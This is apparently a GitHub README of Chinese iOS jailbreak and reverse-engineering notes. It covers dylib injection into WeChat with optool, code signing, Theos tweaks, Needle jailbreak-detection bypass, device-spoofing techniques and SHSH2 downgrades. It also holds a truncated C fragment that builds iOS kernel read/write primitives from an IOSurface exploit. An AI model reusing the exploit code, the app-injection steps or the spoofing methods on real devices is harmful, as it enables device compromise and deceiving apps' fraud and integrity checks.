使用 optool 把 wx.dylib 注入到二进制文件中

./optool install -c load -p "@executable_path/wx.dylib" -t WeChat

codesign签名dylib

errSecInternalComponent 错误
在Mac终端上运行codesign命令,并“始终允许” /usr/bin/codesign访问密钥
security unlock-keychain login.keychain
解锁命令移至,~/.bash_profile以便在SSH客户端启动时对钥匙串进行解锁
AppleWWDRCAG3 不收信任证书
获取证书
security find-identity -v -p codesigning 
签名Dylib 
codesign -f -s B3C14FC452E835C09B70D5C24961EBAFC0A2C4B9 hook.dylib 
ldid -S dumpdecrypted.dylib
1.安装 Xcode 
2.安装 Command Line Tools 
xcode-select --install 
codesign --force --deep --sign - /xxx/xxx.app 
签名错误 resource fork, Finder information, or similar detritus not allowed 
解决方法 xattr -lr <path_to_app_bundle> 
查看 xattr -cr <path_to_app_bundle> 删除 
或者 find . -type f -name '*.jpeg' -exec xattr -c {} \; find . -type f -name '*.png' -exec xattr -c {} \; 
find . -type f -name '*.tif' -exec xattr -c {} \; 
整个App签名 codesign -fs "授权证书" --no-strict --entitlements=生成的plist文件 WeChat.app 
验证Dylib签名 codesign –verify hook.dylib codesign -vv -d WeChat.app

Xcode升级到8.3后 用命令进行打包 提示下面这个错误
后面根据对比发现新版的Xcode少了这个PackageApplication  (QQ群下载)
先去找个旧版的Xcode里面copy一份过来
放到下面这个目录:
/Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/

然后执行命令
sudo xcode-select -switch /Applications/Xcode.app/Contents/Developer/

chmod +x /Applications/Xcode.app/Contents/Developer/Platforms/iPhoneOS.platform/Developer/usr/bin/PackageApplication

theos

ARCHS = armv7 armv7s arm64
TARGET = iphone:8.4:7.0
#指定路径,否则默认在 /Library/MobileSubstrate/DynamicLibraries
LOCAL_INSTALL_PATH = /usr/bin
include theos/makefiles/common.mk
TWEAK_NAME = oooo
oooo_FILES = oooo.xm
#指定版本
_THEOS_TARGET_LDFLAGS += -current_version 1.0
_THEOS_TARGET_LDFLAGS += -compatibility_version 1.0
#tweak2.mk是我修改过的,去掉了CydiaSubstrate链接,因为这个dylib用不到
include $(THEOS_MAKE_PATH)/tweak2.mk
-current_version、-compatibility_version参数参考自苹果官方!!
https://developer.apple.com/library/mac/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/CreatingDynamicLibraries.html

theos编译不越狱可用的dylib

SUBSTRATE ?= yes
instance_USE_SUBSTRATE = $(SUBSTRATE)
把上面的instance替换成你的TweakName
在上面的这个例子中就是XXXX 
include _USE_SUBSTRATE = no,请转换为使用include _LOGOS_DEFAULT_GENERATOR = internal
编译:make SUBSTRATE=no
编译DEB:make SUBSTRATE=no package
编译DEB并安装:make SUBSTRATE=no package  install

打包deb

find . -name .DS_Store -print0 | xargs -0 git rm -f --ignore-unmatch
echo .DS_Store >> ~/.gitignore
xcode-select --install 
sudo xcodebuild -license    手动输入 agree
安装 Macports ,网址:http://www.macports.org/install.php
export PATH=/opt/local/bin:/opt/local/sbin:$PATH
sudo port -f install dpkg
dpkg 降级
brew remove dpkg  
HOMEBREW_NO_AUTO_UPDATE=1 brew install https://raw.githubusercontent.com/Homebrew/homebrew-core/7a4dabfc1a2acd9f01a1670fde4f0094c4fb6ffa/Formula/dpkg.rb
brew pin dpkg 
$ brew remove dpkg  
# remove latest dpkg 
$ brew install --force-bottle https://raw.githubusercontent.com/Homebrew/homebrew-core/7a4dabfc1a2acd9f01a1670fde4f0094c4fb6ffa/Formula/dpkg.rb  
# install dpkg as a bottle from the old commit 
$ brew pin dpkg  
# block homebrew from updating dpkg till you `brew unpin dpkg`
postinst写法(直接复制)(权限755)
#!/bin/bash
mkdir -p /private/var/mobile/Documents/
chown -R mobile:mobile /private/var/mobile/Documents/
/bin/su -c uicache mobile
cd Desktop
sudo chmod -R 755 *
dpkg-deb -Z gzip -b ./{标识符} 
dpkg-deb -Z xz -b ./{标识符}
mac 解包 打包
dpkg-deb -x ./abc.deb ./tmp
dpkg-deb -e ./abc.deb ./tmp/DEBIAN
dpkg-deb -b ./tmp false8.deb
解包.sh
#!/bin/sh
dpkg-deb -x ./a.deb ./a
dpkg-deb -e ./a.deb ./a/DEBIAN
chmod -R 755 ./a/DEBIAN
打包.sh
#!/bin/sh
find . -name '*.DS_Store' -type f -delete
dpkg-deb -Z lzma -b ./a b.deb

optool神器就是命令行注入

optool install -c load -p "@executable_path/RedEnvelop.dylib" -t WeChat
//这就是给WeChat加载抢红包插件

//如果要unstall,要这样:
optool uninstall -p "@executable_path/RedEnvelop.dylib" -t WeChat

//具体 dylib 的路径可以用 otool 查看:
otool -L WeChat
使用方法:

  install -c <command> -p <payload> -t <target> [-o=<output>] [-b] [--resign] In
  serts an LC_LOAD command into the target binary which points to the payload. T
  his may render some executables unusable.

  uninstall -p <payload> -t <target> [-o=<output>] [-b] [--resign] Removes any L
  C_LOAD commands which point to a given payload from the target binary. This ma
  y render some executables unusable.

  strip [-w] -t <target> Removes a code signature load command from the given bi
  nary.

  restore -t <target> Restores any backup made on the target by this tool.

  aslr -t <target> [-o=<output>] [-b] [--resign] Removes an ASLR flag from the m
  acho header if it exists. This may render some executables unusable


可选的:
  [-w --weak] Used with the STRIP command to weakly remove the signature. Withou
  t this, the code signature is replaced with null bytes on the binary and its L
  OAD command is removed.

  [--resign] Try to repair the code signature after any operations are done. Thi
  s may render some executables unusable.

  -t|--target <target> Required of all commands to specify the target executable
   to modify

  -p|--payload <payload> Required of the INSTALL and UNINSTALL commands to speci
  fy the path to a DYLIB to point the LOAD command to

  [-c --command] Specify which type of load command to use in INSTALL. Can be re
  export for LC_REEXPORT_DYLIB, weak for LC_LOAD_WEAK_DYLIB, upward for LC_LOAD_
  UPWARD_DYLIB, or load for LC_LOAD_DYLIB

  [-b --backup] Backup the executable to a suffixed path (in the form of _backup
  .BUNDLEVERSION)

  [-h --help] Show this message

-----------------------------------

解除网页禁止复制粘贴

如果发现网页无法选择文字, 找到你要复制文字的地方, 显示源代码: 找到-webkit-user-select字段

-webkit-user-select: none

如果有,将其去掉保存刷新

-----------------------------------

Needle绕过iOS越狱检测

Needle使用教程

由于每个模块都专注于特定任务,并且核心处理常见问题(例如与设备的通信,命令的实际执行等),因此创建新模块只需几行python代码即可。

“ show modules”命令可用于列出框架中当前可用的所有模块。

[needle][install] > show modules

Binary

binary/info/checksums
binary/info/compilation_checks
binary/info/metadata
binary/info/provisioning_profile
binary/info/universal_links
binary/installation/install
binary/installation/pull_ipa
binary/reversing/class_dump
binary/reversing/class_dump_frida_enum-all-methods
binary/reversing/class_dump_frida_enum-classes
binary/reversing/class_dump_frida_find-class-enum-methods
binary/reversing/shared_libraries
binary/reversing/strings

Comms

comms/certs/delete_ca
comms/certs/export_ca
comms/certs/import_ca

... 否则,“ search ”命令可用于搜索与查询匹配的可用模块。

[needle] > search binary [*] Searching for "binary"...

Binary

binary/info/checksums
binary/info/compilation_checks
binary/info/metadata
binary/info/provisioning_profile
binary/info/universal_links
binary/installation/install
binary/installation/pull_ipa
binary/reversing/class_dump
binary/reversing/class_dump_frida_enum-all-methods
binary/reversing/class_dump_frida_enum-classes
binary/reversing/class_dump_frida_find-class-enum-methods
binary/reversing/shared_libraries
binary/reversing/strings

Storage

storage/data/files_binarycookies 

选择后,“ info”命令可用于显示特定模块的详细信息。

[needle] > use binary/reversing/strings [needle][strings] > info

Name: Strings Path: modules/binary/reversing/strings.py Author: @LanciniMarco (@MWRLabs)

Description: Find strings in the (decrypted) application binary, then try to extract URIs and ViewControllers

Options:
 Name     Current Value                    Required   Description
 -------  -------------                    --------   -----------
 ANALYZE  True                             no         Analyze recovered strings and try to recover URI
 FILTER                                    no         Filter the output (grep)
 LENGTH   10                               yes        Minimum length for a string to be considered
 OUTPUT   /root/.needle/tmp/strings.txt    no         Full path of the output file 
或者,仅获取可用选项:

[needle][strings] > show options
 Name     Current Value                    Required   Description
 -------  -------------                    --------   -----------
 ANALYZE  True                             no         Analyze recovered strings and try to recover URI
 FILTER                                    no         Filter the output (grep)
 LENGTH   10                               yes        Minimum length for a string to be considered
 OUTPUT   /root/.needle/tmp/strings.txt    no         Full path of the output file 
像全局选项一样,甚至模块特定的选项也可以使用“ set”和“ unset”命令进行编辑。

[needle][strings] > set FILTER password
FILTER => password
[needle][strings] > show options
 Name     Current Value                    Required   Description
 -------  -------------                    --------   -----------
 ANALYZE  True                             no         Analyze recovered strings and try to recover URI
 FILTER   password                         no         Filter the output (grep)
 LENGTH   10                               yes        Minimum length for a string to be considered
 OUTPUT   /root/.needle/tmp/strings.txt    no         Full path of the output file 
当所有选项均设置为首选时,“ run”命令可用于启动模块的执行。如果尚未选择目标应用程序(全局选项“ TARGET_APP”仍未设置),Needle将首先启动向导,该向导将帮助用户选择目标。

[needle][strings] > run
[*] Checking connection with device...
[+] Already connected to: 127.0.0.1
[V] Creating temp folder: /var/root/needle/
[*] Target app not selected. Launching wizard...
[V] Refreshing list of installed apps...
[+] Apps found:
    0 - com.highaltitudehacks.dvia
    1 - uk.co.bbc.newsuk
Please select a number: 0
[+] Target app: com.highaltitudehacks.dvia
[*] Decrypting the binary...
[?] The app might be already decrypted. Trying to retrieve the IPA...
[V] Decrypted IPA stored at: /var/root/needle/decrypted.ipa
[*] Unpacking the decrypted IPA...
[V] Analyzing binary...
[+] The following strings has been found: 
     %@: Unable to get password of credential %@
     %s -- Cannot be used in OpenSSL mode. An IV or password is required
     Both password and the key (%d) or HMACKey (%d) are set.
     CFHTTPMessageAddAuthentication(httpMsg, _responseMsg, (__bridge CFStringRef)_credential.user, (__bridge CFStringRef)password, kCFHTTPAuthenticationSchemeBasic, _httpStatus == 407)
     Cannot sign up without a password.
     Congrats! You've found the right username and password!
     Huh, couldn't get password of %@; trying again
     Please enter a password
     T@"NSString",&,N,V_password
     T@"NSString",C,N,V_password
     T@"UITextField",&,N,V_passwordTextField
     ...
[*] Saving output to file: /root/.needle/tmp/strings.txt
最后,“ show source”命令可用于检查所选模块的实际源代码。

[needle][strings] > show source

 1|from core.framework.module import BaseModule
 2|
 3|
 4|class Module(BaseModule):
 5|    meta = {
 6|           'name': 'Strings',
 7|           'author': '@LanciniMarco (@MWRLabs)',
 8|           'description': 'Find strings in the (decrypted) application binary, then try to extract URIs and ViewControllers',
 9|           'options': (
10|                      ('length', 10, True, 'Minimum length for a string to be considered'),
11|                      ('filter', '', False, 'Filter the output (grep)'),
12|                      ('output', True, False, 'Full path of the output file'),
13|                      ('analyze', True, False, 'Analyze recovered strings and try to recover URI'),
14|          ),
15|    }
16|
17|    # ====================================================================
18|    # UTILS
19|    # ====================================================================
20|    def __init__(self, params):
21|        BaseModule.__init__(self, params)
Signing for "xxx" requires a development team. 
Select a development team in the Signing & Capabilities editor. 
(in target 'xxxDylib' from project 'xxx')

使用monkeydev动态调试工具,xcode新建文件之后编译一直报错证书问题, 无论怎么修改证书为开发团队也不行。
解决方案:

target 选择xxxDylib buildsetting 添加CODE_SIGNING_ALLOWED,设置为=NO

iOS改机原理是什么?

在iOS上目前所有流行的改机工具,本质上是利用substrate框架对某些用来获取设备和系统参数函数进行hook,
从而欺骗App达到修改的目的,具体的如下:

用作获取设备参数的函数(无论是C函数,还是Objective-C/Swift函数,可以使用hook框架来修改其返回值)
屏蔽VPN/HTTP代理检测
屏蔽越狱检测

一键新机怎么实现的?

在进行一键新机时, 操作如下:

生成设备参数并保存到文件
/private/var/mobile/Library/Preferences/
com.app1e.mobile.ifalscommon.plist   保存伪造设备参数数据
com.app1e.mobile.ifalslocation.plist 保存伪造位置数据

将应用沙盒目录下的数据备份,同时为新环境创建沙盒目录结构
备份的数据存放在/private/var/mobile/fackedata下

应用启动后,fackedata.dylib会hook关键函数,并根据plist文件修改函数返回的数据
在这一步,fackedata还会根据情况清理keychain, 同时做简单的反越狱检测

FutureRestore GUI界面化降级教程

FutureRestore GUI提供了与经典命令行界面版本相同的功能, 但是可以通过界面化来单击按钮来启动该过程,而不是使用Terminal命令。 适用于小白新手很方便, 摆脱命令行, 快速操作shsh2来降级iOS固件

FutureRestore GUI应用程序仍然要求用户拥有他们计划降级或升级到的版本的.shsh2 blob和.ipsw固件文件。 对futurerestore的命令行界面版本的所有相同限制和限制仍然适用,因此我们鼓励越狱者为此目的保存对应的.shsh2 blob。

QQ群文件下载工具

额外处理A12 +设备保存shsh2教程

将以下存储库添加到您的设备:

https://halo-michael.github.io/repo 并安装名为Generator Auto Setter的软件包 。安装后,在“设置” 应用中进行调整,找到“生成器自动设置器”,输入您选择的生成器,然后选择“ 设置”。

请注意,设置什么发生器都没有关系。重要的是,在发现匹配的Apnonce之前, 您必须知道设置了哪个生成器。他们成对,更换发电机会改变Apnonce。我们需要知道是什么生成器创建了Apnonce,我们将在后续步骤中发现它们。

许多生成器设置器使用默认值。例如,默认情况下unc0ver和Generator Auto Setter 都使用0x1111111111111111。您的发电机设置器可能使用其他值。您可以将生成器设置保留为默认值(推荐),也可以更改它。不管它不 只要你知道你已经将它设置为,并记下来。

将越狱设备上的生成器成功设置为已知值(例如0x1111111111111111)并将设备插入计算机后,我们可以继续进行。

请记住:知道您的生成器值是什么,并在将来安全的地方(例如文本文档)记录下来!如果您不再知道用来创建Apnonce的生成器(用于保存Blob),则SHSH Blob将无效。

Mac打开 Terminal 运行 commands:

/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

然后安装libirecovery

brew install --HEAD usbmuxd
brew install --HEAD libimobiledevice
brew install libirecovery

然后打开一个终端窗口。在Windows上,在运行以下命令之前,您还需要导航到下载的二进制文件的存储位置。

如果这些命令中的任何一个在Mac或Linux上失败,请尝试在命令前面加上sudo 来运行 它们。输入以下内容:

现在输入:

ideviceenterrecovery UDID

将UDID替换为您在上一步中记下的UniqueDeviceID(一长串数字和字母)。您的设备现在将重新启动进入恢复模式,并且您应该在屏幕上看到随附的图形。

现在输入:

irecovery -q

您应该看到设备的另一个值列表。您将需要复制ECID (这是设备的ECID,每次保存Blob时都需要)和NONC (这是我们已经听到很多次的至关重要的Apnonce,并且与生成器唯一配对)的值设置得更早)。

请在安全的地方记下这些值,例如在之前保存了生成器,HardwareModel和ProductType的文本文档中。以后每次保存shsh2时,都将需要它们。

最后,输入:

irecovery -n

这会将您的设备重新启动,使其退出恢复模式。请勿使用物理按钮重新启动设备,因为它将始终返回到恢复模式。请改用此命令。

硬件型号(之前称为 HardwareModel)
设备型号(之前称为 ProductType)
设备ECID(字母数字字符串,可能以0x开头...)
生成器(由您在开始时设置,例如0x1111111111111111)
Apnonce(长字母数字字符串,仅对您在上面设置的生成器有效)

现在,您可以使用TSS Saver为您的A12 +设备保存.shsh2 blob。以后无需重复以上操作即可保存该设备的Blob。为了保存Blob,您甚至不必对其进行越狱

因为这个FutureRestore GUI是基于Java来开发的
所以用户需要在MacOS上安装Java 8才能使用它
https://www.java.com/en/download/

shsh2是什么?

APTicket是从iOS5开始由苹果推出的最新安全检查功能,最主要功能是防止iPhone、iPad、iPod用户设备检验的降级限制,目前也仅有Apple Server才能拥有发送与解开  APTicket 密钥,那  APTicket 怎么获得呢?

在我们设备手上的设备都会有一组固定的16码ECID(Exclusive Chip ID)号码,当我们要透过iTunes进行升降级时,会先连至苹果验证服务器(gs.apple.com),丢出「讯息」内会夹带一次性唯一码、设备ECID与19个BLOB的验证码,而服务器接收到后,就会返回一组随机APTicket和当前iOS版本的SHSH验证码,当验证符合时,才能够进行接下来的升降级动作。

所以在iOS验证关闭后,就算你有备份SHSH其实也无法实现降级,因为还有  APTicket验证要解决。

在32位元设备中,有存有硬体设备漏洞,可直接绕过  APTicket 验证,直接实现靠SHSH就可以降级。也有一款降级工具「odysseusOTA」推出后,就能够让不少32位元设备,如iPhone5、5c、4s、iPad3、iPad2都能降回至旧  iOS版本上。

目前我们还可以备份  SHSH 吗?前提要再  SHSH 认证开启状态下才能够用tsschecker工具备份。

shsh2是什么?有什么作用?

之前iOS 要备份SHSH 可达成降级,相信还会有不少用户搞不清楚,怎么又跳出SHSH2 这东西,这与SHSH又有什么关系?

加上因iOS 验证的API有改变,造成nonce是无法从Apple验证服务器上取得,目前还保留在sign内,导致已经无法使用之前用小红伞工具来获取旧版SHSH文件,因为这方法其实是没有包含nonce值,同等于就没有任何作用。

因此ihmstar 推出了最新的保存脚本工具tsschecker ,可来获取设备的SHSH2档案,不过这脚本工具里面所保存的SHSH2档案不包括有Nonce仅只有Generator,这串数值可搭配Prometheus 降级工具使用,能够让iOS使用Generator 和SHSH2 档案产生最关键的「APNonce」,如此一来有了SHSH2档案后,后续就可以自由的进行升降级工作。

但目前由于还没突破降级限制,在拥有SHSH2 大部分条件情况下也仅能够实现升级与重刷,
除了A7处理器设备iPhone 5s / iPad Air 1 / iPad Mini 2 能实现降级外。
又加上苹果会不定时改变SEP 要来阻止用户可透过Prometheus 升、降级,才会导致过去曾经发生过iOS 11~iOS 11.2.6 与iOS 11.3 SEP 不同,
这算是首次出现的现象,以往过去都是在iOS 大版本更新才会改变SEP,但苹果也不断持续提升安全性与防御机制。

该怎么备份shsh2?=> 参考微信公众号Cydia文章

不管未来有没有打算要越狱,或许可先跑一次备份iOS 的shsh2 ,未来如果漏洞可开发出降级工具用来自由升降iOS版本时,保存好的shsh2 这就是你手中握有最佳降级的关键钥匙。如果都没备份,那永远都是没有这个机会。

发现到不少用户会误解备份shsh2一定要透过电脑或是升级上iOS版本才可以,这些都是错误的想法,iOS shsh2 备份是在任何可开启网页版本状态下就可以操作,
且不需要电脑也可以直接透过iOS 执行操作,前提是需要查好ECID和Internal Name/Model就可以,这部分可以直接存在iOS备忘录内,
每次iOS 新版本推出时,就可以直接复制贴上执行shsh2 备份。

futurerestore 工具
一个可执行文件

SEP 文件
解压下载的系统固件
在 Firmware/all_flash 目录下,有一堆以 “sep” 开头的文件,但是它有很多种,比如我这里有 j120、j121 等

基带固件
在解压缩的系统固件的 Firmware 文件夹里,通常还有一些 .bbfw 格式的文件,这些是基带文件。这就需要你查一下你手机对应的是哪个基带文件了,我这里是 WLAN 版 iPad,所以只有一个

BuildManifest.plist 文件
解压缩系统固件,在根目录就能看到这个文件
...

pre-jailbreak 漏洞


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdbool.h>
#include <mach/mach.h>

#include "mycommon.h"
#include "k_offsets.h"
#include "utils.h"
#include "k_utils.h"
#include "kapi.h"
#include "user_kernel_alloc.h"
#include "cicuta_virosa/cicuta_virosa.h"

extern mach_port_t IOSurfaceRootUserClient;
uint32_t iosurface_create_fast(void);
uint32_t iosurface_s_get_ycbcrmatrix(void);
void iosurface_s_set_indexed_timestamp(uint64_t v);

static int *pipefds;
static size_t pipe_buffer_size = 0x1000;
static uint8_t *pipe_buffer;
static kptr_t IOSurfaceRoot_uc;

static void read_pipe()
{
    size_t read_size = pipe_buffer_size - 1;
    ssize_t count = read(pipefds[0], pipe_buffer, read_size);
    if (count == read_size) {
        return;
    } else if (count == -1) {
        perror("read_pipe");
        util_error("could not read pipe buffer");
    } else if (count == 0) {
        util_error("pipe is empty");
    } else {
        util_error("partial read %zu of %zu bytes", count, read_size);
    }
    fail_info(__FUNCTION__);
}

static void write_pipe()
{
    size_t write_size = pipe_buffer_size - 1;
    ssize_t count = write(pipefds[1], pipe_buffer, write_size);
    if (count == write_size) {
        return;
    } else if (count < 0) {
        util_error("could not write pipe buffer");
    } else if (count == 0) {
        util_error("pipe is full");
    } else {
        util_error("partial write %zu of %zu bytes", count, write_size);
    }
    fail_info(__FUNCTION__);
}

static void build_stable_kmem_api()
{
    static kptr_t pipe_base;
    kptr_t p_fd = kapi_read_kptr(g_exp.self_proc + OFFSET(proc, p_fd));
    kptr_t fd_ofiles = kapi_read_kptr(p_fd + OFFSET(filedesc, fd_ofiles));
    kptr_t rpipe_fp = kapi_read_kptr(fd_ofiles + sizeof(kptr_t) * pipefds[0]);
    kptr_t fp_glob = kapi_read_kptr(rpipe_fp + OFFSET(fileproc, fp_glob));
    kptr_t rpipe = kapi_read_kptr(fp_glob + OFFSET(fileglob, fg_data));
    pipe_base = kapi_read_kptr(rpipe + OFFSET(pipe, buffer));

    // XXX dirty hack, but I'm lucky :)
    uint8_t bytes[20];
    read_20(IOSurfaceRoot_uc + OFFSET(IOSurfaceRootUserClient, surfaceClients) - 4, bytes);
    *(kptr_t *)(bytes + 4) = pipe_base;
    write_20(IOSurfaceRoot_uc + OFFSET(IOSurfaceRootUserClient, surfaceClients) - 4, bytes);

    // iOS 14.x only
    struct fake_client {
        kptr_t pad_00; // can not use IOSurface 0 now
        kptr_t uc_obj;
        uint8_t pad_10[0x40]; // start of IOSurfaceClient obj
        kptr_t surf_obj;
        uint8_t pad_58[0x360 - 0x58];
        kptr_t shared_RW;
    };

    stage0_read32 = ^uint32_t (kptr_t addr) {
        struct fake_client *p = (void *)pipe_buffer;
        p->uc_obj = pipe_base + 16;
        p->surf_obj = addr - 0xb4;
        write_pipe();
        uint32_t v = iosurface_s_get_ycbcrmatrix();
        read_pipe();
        return v;
    };

    stage0_read64 = ^uint64_t (kptr_t addr) {
        uint64_t v = stage0_read32(addr);
        v |= (uint64_t)stage0_read32(addr + 4) << 32;
        return v;
    };

    stage0_read_kptr = ^kptr_t (kptr_t addr) {
        uint64_t v = stage0_read64(addr);
        if (v && (v >> 39) != 0x1ffffff) {
            if (g_exp.debug) {
                util_info("PAC %#llx -> %#llx", v, v | 0xffffff8000000000);
            }
            v |= 0xffffff8000000000; // untag, 25 bits
        }
        return (kptr_t)v;
    };

    stage0_read = ^void (kptr_t addr, void *data, size_t len) {
        uint8_t *_data = data;
        uint32_t v;
        size_t pos = 0;
        while (pos < len) {
            v = stage0_read32(addr + pos);
            memcpy(_data + pos, &v, len - pos >= 4 ? 4 : len - pos);
            pos += 4;
        }
    };

    stage0_write64 = ^void (kptr_t addr, uint64_t v) {
        struct fake_client *p = (void *)pipe_buffer;
        p->uc_obj = pipe_base + 0x10;
        p->surf_obj = pipe_base;
        p->shared_RW = addr;
        write_pipe();
        iosurface_s_set_indexed_timestamp(v);
        read_pipe();
    };

    stage0_write = ^void (kptr_t addr, void *data, size_t len) {
        uint8_t *_data = data;
        uint64_t v;
        size_t pos = 0;
        while (pos < len) {
            size_t bytes = 8;
            if (bytes > len - pos) {
                bytes = len - pos;
                v = stage0_read64(addr + pos);
            }
            memcpy(&v, _data + pos, bytes);
            stage0_write64(addr + pos, v);
            pos += 8;
        }
    };
}

static void build_stage0_kmem_api()
{
    stage0_read32 = ^uint32_t (kptr_t addr) {
        uint32_t v = read_32(addr);
        return v;
    };

    stage0_read64 = ^uint64_t (kptr_t addr) {
        uint64_t v = read_64(addr);
        return v;
    };

    stage0_read_kptr = ^kptr_t (kptr_t addr) {
        uint64_t v = stage0_read64(addr);
        if (v && (v >> 39) != 0x1ffffff) {
            if (g_exp.debug) {
                util_info("PAC %#llx -> %#llx", v, v | 0xffffff8000000000);
            }
            v |= 0xffffff8000000000; // untag, 25 bits
        }
        return (kptr_t)v;
    };

    stage0_read = ^void (kptr_t addr, void *data, size_t len) {
        uint8_t *_data = data;
        uint64_t v;
        size_t pos = 0;
        while (pos < len) {
            v = stage0_read64(addr + pos);
            memcpy(_data + pos, &v, len - pos >= 8 ? 8 : len - pos);
            pos += 8;
        }
    };

    stage0_wri

Truncated — view the full README on GitHub.

captainhook
class-dump
cydia
cydiasubstrate
deb
dpkg-deb
dyld
dylib
fishhook
ida
ios
iosopendev
iosre
logos
mach
mach-o
monkeydev
objective-c
theos
tweak

XLsn0w/Cydiapps

🔥🔥🔥微信公众号:Cydiapps🔥🔥🔥 => Cydia插件 Logos语言 开发Tweak.xm Cydia Substrate 注入dylib iOS逆向工程开发 越狱Jailbreak deb插件 - fishhook / Frida / iOSOpenDev / Cycript / MachOView / IDA / Hopper Disassembler / MonkeyDev / Class-dump / Theos / Reveal / Dumpdecryptd / FLEX / 汇编Assembly / CaptainHook / lldb/LLVM/XNU/Darwin/iOS Reverse

Logos

1,187

315 commits

updated May 3, 2024

See the code

README

iOS应用逆向工程-Cydia越狱-Tweaks插件开发

巨魔二代 iOS15.0-16.6.1 新手指南

巨魔二代 iOS15.0-16.6.1 新手指南

我的微信公众号-> Cydiapps

百家号

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweak/

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweaks/

Cydiapp's Cydia Repo: https://XLsn0w.github.io/Cydiapp/

🔥🔥🔥 我的博客: https://xlsn0w.github.io 🔥🔥🔥

Welcome to XLsn0w’s Blog.

Apple  Developer iPhone  Hacker

我的Github-> https://github.com/XLsn0w

我的微信公众号-> Cydiapps

我的微信公众号-> Cydiapps

我的个人博客-> https://xlsn0w.github.io

我的简书-> http://www.jianshu.com/u/eacc1a5d2fda

公众号

tease

//                            _ooOoo_
//                           o8888888o
//                           88" . "88
//                           (| -_- |)
//                            O\ = /O
//                        ____/`---'\____
//                      .   ' \\| |// `.
//                       / \\||| : |||// \
//                     / _||||| -:- |||||- \
//                       | | \\\ - /// | |
//                     | \_| ''\---/'' | |
//                      \ .-\__ `-` ___/-. /
//                   ___`. .' /--.--\ `. . __
//                ."" '< `.___\_<|>_/___.' >'"".
//               | | : `- \`.;`\ _ /`;.`/ - ` : | |
//                 \ \ `-. \_ __\ /__ _/ .-` / /
//         ======`-.____`-.___\_____/___.-`____.-'======
//                            `=---='
//
//         .............................................
//                  佛祖镇楼            逆向寻根
//          佛曰:
//                  写字楼里写字间,写字间里程序员;
//                  程序人员写程序,又拿程序换酒钱。
//                  酒醒只在网上坐,酒醉还来网下眠;
//                  酒醉酒醒日复日,网上网下年复年。
//                  但愿老死电脑间,不愿鞠躬老板前;
//                  奔驰宝马贵者趣,公交自行程序员。
//                  别人笑我忒疯癫,我笑自己命太贱;
//                  不见满街漂亮妹,哪个归得程序员?

iOS Jailbreak Develop + iPhone App Reverse

我的微信公众号: Cydiapps

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweak/

XLsn0w's Cydia Repo: https://XLsn0w.github.io/tweaks/

XLsn0w

iOS刷Android -安卓越狱苹果

跳转=>iOS刷Android -安卓越狱苹果

Mac电脑 修改hosts文件 以访问Github

  1. 打开 https://ping.chinaz.com/ 搜索github.com

  2. 找一个快的ip地址 我这里找的是

德国 140.82.121.4 美国华盛顿西雅图 GitHub <1ms

打开终端,输入命令

sudo vi /etc/hosts 输入密码后,使用vi编辑hosts文件:增加

140.82.121.4 github.com (相当于访问github.com 切换成 140.82.121.4)

  1. 按i进入编辑模式,开始编辑

  2. 编辑完成后按esc退出

  3. 再按:wq回车保存

巨魔商店优点

完全免费
手机端直装任何的IPA
安装 IPA 后永不过期(不掉签)
无需帐户,无需证书,无需越狱

🔴iOS 14.0bata 1 及更早版本 + iOS 17.0.1及更高版本,永不支持安装巨魔!

🔴iOS 16.7 – 16.7.5 不支持安装(没有支持漏洞)

🟢iOS 17.0 beta1-5 支持安装,但是目前成功率不高,可以试试!!!

TrollRecorder 巨魔录音机

🟡仅限使用 巨魔 TrollStore 用户

🔴支持系统:iOS 15.0 至 16.6.1 和 17.0 系统

🔵TrollRecorder中文名:巨魔录音机,是一款纯巨魔版通话录音,无需越狱环境

🟢国人开发团队开发,核心功能可免费使用。通话录音功能免费,使用简单,大家放心使用

巨魔录音机特点:

🟢UI界面风格好看 🟢录音支持所有(VX、YX) 🟢能实现自动启动通话录音 🟢支持应用程序启动期间启用生物识别验证 🟢能记录录音地址及搜索能力 🟢能为录音选择音频质量和格式 高级功能功能,需要付费38元,有验证的,最多 5台设备使用。

免费版:https://github.com/Lessica/TrollRecorder 付费版:https://havoc.app/package/trollrecorder

iOS16 Bootstrap 半越狱工具

Bootstrap 官方地址: https://github.com/RootHide/Bootstrap

Bootstrap 官方下载: https://github.com/roothide/Bootstrap/releases

iOS巨魔商店 利用的漏洞

https://github.com/advisories/GHSA-fj3m-2r8f-m4x9

Description A certificate validation issue was addressed. This issue is fixed in iOS 16.7 and iPadOS 16.7, OS 17.0.1 and iPadOS 17.0.1, watchOS 9.6.3, macOS Ventura 13.6, watchOS 10.0.1. A malicious app may be able to bypass signature validation. Apple is aware of a report that this issue may have been actively exploited against versions of iOS before iOS 16.7.

References

https://nvd.nist.gov/vuln/detail/CVE-2023-41991

https://support.apple.com/en-us/HT213926

https://support.apple.com/en-us/HT213927

https://support.apple.com/en-us/HT213928

https://support.apple.com/en-us/HT213929

https://support.apple.com/en-us/HT213931

https://support.apple.com/kb/HT213926

http://seclists.org/fulldisclosure/2023/Sep/14

http://seclists.org/fulldisclosure/2023/Sep/15

http://seclists.org/fulldisclosure/2023/Sep/16

http://seclists.org/fulldisclosure/2023/Sep/17

http://seclists.org/fulldisclosure/2023/Sep/19

http://seclists.org/fulldisclosure/2023/Oct/5

Dopamine 2.0

多巴胺二代 iOS 15.0 - 16.6.1 越狱指南 Dopamine 2.0 分享下载

教程指南: 多巴胺二代越狱指南

iOS巨魔二代发布了

安装包下载: https://github.com/opa334/TrollStore/releases

有问题可以 联系公众号Cydiapps

iOS巨魔V2.0 安装指南 TrollStore 二代

misaka

巨魔辅助安装器 Misaka

misaka.ipa 支持Beta系统安装巨魔2代

下载链接: https://pan.baidu.com/s/1yDhkZ0fwbfcPr2sYTYKqNg?pwd=hedd

iOS customisation tool for KFD & MDC

About

The purpose of this application is to give iPhone users the ability to customise their phones without a jailbreak.

At this time we have over 24 default repositories and more than 400 tweaks available.

Misaka is offered at no charge if somebody tried to sell it to you, report it

Versions Supported

iOS VersionsMDCKFD
15.0 - 15.7.1✓-
15.7.2 - 15.7.6-✓
16.0 - 16.1.2✓-
16.2 - 16.6 beta 1-✓
17.0 & up--

17.0 & up can use PiP tweaks

Download

You can download the latest version of misaka from here:

